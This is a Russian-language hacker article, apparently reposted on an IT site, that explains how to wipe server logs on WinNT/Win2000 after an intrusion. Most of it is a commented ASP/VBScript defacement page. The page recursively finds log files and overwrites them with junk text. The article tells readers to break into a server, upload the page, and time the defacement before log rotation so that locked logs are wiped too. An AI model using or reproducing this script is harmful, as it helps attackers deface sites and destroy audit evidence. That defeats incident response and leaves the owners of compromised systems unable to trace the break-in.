Базы данныхИнтернетКомпьютерыОперационные системыПрограммированиеСетиСвязьРазное
Поиск по сайту:
Подпишись на рассылку:

Назад в раздел

Терка логов под WinNT/Win2000.

div.main {margin-left: 20pt; margin-right: 20pt}Терка логов под WinNT/Win2000.

Никто не хочет оставлять в чужой системе свои следы. Не давно у меня родилась идея, как от них избавляться в системе WinNT/Win2000. Некоторые могут сказать, а зачем мне это надо, если я с помощью команды DEL могу стереть практически любой лог файл. А представтье себе что этих файлов в системе много и вы заходили в систему не раз, а бывает еще так что и дир-ов много в которых лежат эти самые лог файлы, и в какой дир-е лежит нужный лог файл - неизвестно, тем более что нужный лог файл бывает не возможно стереть из-за того что он занят другим процессом. Так вот, сейчас вы узнаете как можно от всего этого безобразия избавиться. Для начала ломанем какой-нить сервер на базе WinNT/Win2000. Ломанули ? Прек- расно. Заливаем наш deface. СТОП! Для начала, давайте его отредактируем:

<% @Language = "VBScript" %> ' надеюсь с этим
<% Response.buffer = true %> ' все
<HTML> ' понтяно
<body bgcolor=black> '
<% ' начало вставки на VBS

Function ShowFolderList(folderspec)
' Наша функция, которая будет
' будет ползать по дирам
' в поисках жертв
' folderspec - указывает на дир
' с которого начинаем сканить

Dim fso, f, f1, s, sf ' объявляем переменные
Set fso = CreateObject("Scripting.FileSystemObject")
' теперь мы можем делать
' с файлами и дирами
' все что угодно

Set f = fso.GetFolder(folderspec) ' тут мы позлаем
Set sf = f.SubFolders ' по дирам в
For Each f1 in sf ' поисках файлов
Response.Write FuckFile(f1.path) ' найдя их, мы приносим их
Next ' в жертву
End Function ' Response.Write ShowFolderList("c:winntsystem32logfiles") ' типа вызываем
' функцию
'вместо c:winntsys ..... укажите свой путь до папки с....
Function FuckFile(folderspec) ' Сейчас будем всех убивать
On Error Resume Next ' Не обращаем внимание на возникшие
' ошибки
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFolder(folderspec)
For each filefound in f.files ' если наши файл
Set NerF = fso.CreateTextFile(filefound,True) ' то обнуляем его
' и
NerF.WriteLine("System Error 404") ' записываем в него
NerF.Close ' всякий бред
Next
End Function ' конец функии
%> ' конец вставки на VBS
<P ALIGN=CENTER>
<IMG SRC="nerf.jpg">
<br> <br>
E-mail: <a href=mailto:tANDm@NerF.ru>U wuz hacked mail to this E-mail</a>
</P>
</BODY>
</HTML>


Значит так, заливаем это все на сервер жертвы и любуемся. Во время того как кто-то заходит на этот сервер, активизируется наш скрипт, который изменяет лог-файлы. Для того что бы изменить лог файл который занят процессом, просто возьмите и задефейсте сервер, за 5 мин., до смены лог-файла процессом. После этого, можете смело зайти ( можете и не заходить, т.к. рано или поздно, это сделает кто-нить другой =) на страничку, и гадский лог-файл, отымеется.

Author: tANDm



  • Главная
  • Новости
  • Новинки
  • Скрипты
  • Форум
  • Ссылки
  • О сайте




  • Emanual.ru – это сайт, посвящённый всем значимым событиям в IT-индустрии: новейшие разработки, уникальные методы и горячие новости! Тонны информации, полезной как для обычных пользователей, так и для самых продвинутых программистов! Интересные обсуждения на актуальные темы и огромная аудитория, которая может быть интересна широкому кругу рекламодателей. У нас вы узнаете всё о компьютерах, базах данных, операционных системах, сетях, инфраструктурах, связях и программированию на популярных языках!
     Copyright © 2001-2024
    Реклама на сайте